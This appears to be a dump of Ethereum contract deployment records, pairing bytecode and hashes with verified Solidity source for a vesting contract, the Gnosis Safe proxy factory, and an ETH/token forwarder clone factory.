not been cancelled can be unpaused\n /// @param vestingId Id of the vesting that should be unpaused\n function unpauseVesting(bytes32 vestingId) public onlyPoolManager {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n require(vesting.pausingDate != 0, \"Vesting is not paused\");\n require(\n !vesting.cancelled,\n \"Vesting has been cancelled and cannot be unpaused\"\n );\n // Calculate the time the vesting was paused\n // If vesting has not started yet, then pausing date might be in the future\n uint64 timePaused = block.timestamp <= vesting.pausingDate\n ? 0\n : uint64(block.timestamp) - vesting.pausingDate;\n // Offset the start date to create the effect of pausing\n vesting.startDate = vesting.startDate + timePaused;\n vesting.pausingDate = 0;\n emit UnpausedVesting(vestingId);\n }\n\n /// @notice Calculate vested and claimed token amounts for vesting `vestingId`.\n /// @dev This will revert if the vesting has not been started yet\n /// @param vestingId Id of the vesting for which to calculate the amounts\n /// @return vestedAmount The amount in atoms of tokens vested\n /// @return claimedAmount The amount in atoms of tokens claimed\n function calculateVestedAmount(\n bytes32 vestingId\n ) external view returns (uint128 vestedAmount, uint128 claimedAmount) {\n VestingLibrary.Vesting storage vesting = vestings[vestingId];\n require(vesting.amount != 0, \"Vesting not found\");\n vestedAmount = _calculateVestedAmount(vesting);\n claimedAmount = vesting.amountClaimed;\n }\n\n /// @notice Calculate vested token amount for vesting `vesting`.\n /// @dev This will revert if the vesting has not been started yet\n /// @param vesting The vesting for which to calculate the amounts\n /// @return vestedAmount The amount in atoms of tokens vested\n function _calculateVestedAmount(\n VestingLibrary.Vesting storage vesting\n ) internal view returns (uint128 vestedAmount) {\n require(vesting.startDate <= block.timestamp, \"Vesting not active yet\");\n // Convert vesting duration to seconds\n uint64 durationSeconds = uint64(vesting.durationWeeks) *\n 7 *\n 24 *\n 60 *\n 60;\n // If contract is paused use the pausing date to calculate amount\n uint64 vestedSeconds = vesting.pausingDate > 0\n ? vesting.pausingDate - vesting.startDate\n : uint64(block.timestamp) - vesting.startDate;\n if (vestedSeconds >= durationSeconds) {\n // If vesting time is longer than duration everything has been vested\n vestedAmount = vesting.amount;\n } else if (vesting.curveType == 0) {\n // Linear vesting\n vestedAmount =\n calculateLinear(\n vesting.amount - vesting.initialUnlock,\n vestedSeconds,\n durationSeconds\n ) +\n vesting.initialUnlock;\n } else if (vesting.curveType == 1) {\n // Exponential vesting\n vestedAmount =\n calculateExponential(\n vesting.amount - vesting.initialUnlock,\n vestedSeconds,\n durationSeconds\n ) +\n vesting.initialUnlock;\n } else {\n // This is unreachable because it is not possible to add a vesting with an invalid curve type\n revert(\"Invalid curve type\");\n }\n }\n\n /// @notice Calculate vested token amount on a linear curve.\n /// @dev Calculate vested amount on linear curve: targetAmount * elapsedTime / totalTime\n /// @param targetAmount Amount of tokens that is being vested\n /// @param elapsedTime Time that has elapsed for the vesting\n /// @param totalTime Duration of the vesting\n /// @return Tokens that have been vested on a linear curve\n function calculateLinear(\n uint128 targetAmount,\n uint64 elapsedTime,\n uint64 totalTime\n ) internal pure returns (uint128) {\n // Calculate vested amount on linear curve: targetAmount * elapsedTime / totalTime\n uint256 amount = (uint256(targetAmount) * uint256(elapsedTime)) /\n uint256(totalTime);\n require(amount <= type(uint128).max, \"Overflow in curve calculation\");\n return uint128(amount);\n }\n\n /// @notice Calculate vested token amount on an exponential curve.\n /// @dev Calculate vested amount on exponential curve: targetAmount * elapsedTime^2 / totalTime^2\n /// @param targetAmount Amount of tokens that is being vested\n /// @param elapsedTime Time that has elapsed for the vesting\n /// @param totalTime Duration of the vesting\n /// @return Tokens that have been vested on an exponential curve\n function calculateExponential(\n uint128 targetAmount,\n uint64 elapsedTime,\n uint64 totalTime\n ) internal pure returns (uint128) {\n // Calculate vested amount on exponential curve: targetAmount * elapsedTime^2 / totalTime^2\n uint256 amount = (uint256(targetAmount) *\n uint256(elapsedTime) *\n uint256(elapsedTime)) / (uint256(totalTime) * uint256(totalTime));\n require(amount <= type(uint128).max, \"Overflow in curve calculation\");\n return uint128(amount);\n }\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {
"contracts/libraries/VestingLibrary.sol": {
"VestingLibrary": "0x99fad8b3658d185474e13d1be98660dc30077b26"
}
}
}
}}
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract Node {
mapping (address => mapping (address => mapping(uint => uint))) public nodes;
function link(address _from, address _to, uint _value) public {
nodes[_from][_to][block.timestamp] = _value;
}
}
|
1 | 19,495,898 |
d51c6594e6212784d5d7a142710ff4361183c747aba8ddeacc699e3f4845075e
|
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|
60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c63430008190033
| |
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|
2616c0a2c167ec5d1575016cf686b1ca1f637074
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,899 |
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|
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|
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|
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|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,903 |
cd0b8e4cc84ad6f7424f500337cab275e2a76eede036a3f1d72ba4c35bfe50e0
|
d4383a6eb703fedb65cbe1d21693144b35a89279ab6e7643655b7484d0d98494
|
32b56fc48684fa085df8c4cd2feaafc25c304db9
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
f25c6c87f26ebd06a1576ffbe42a0275f0e004be
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,495,912 |
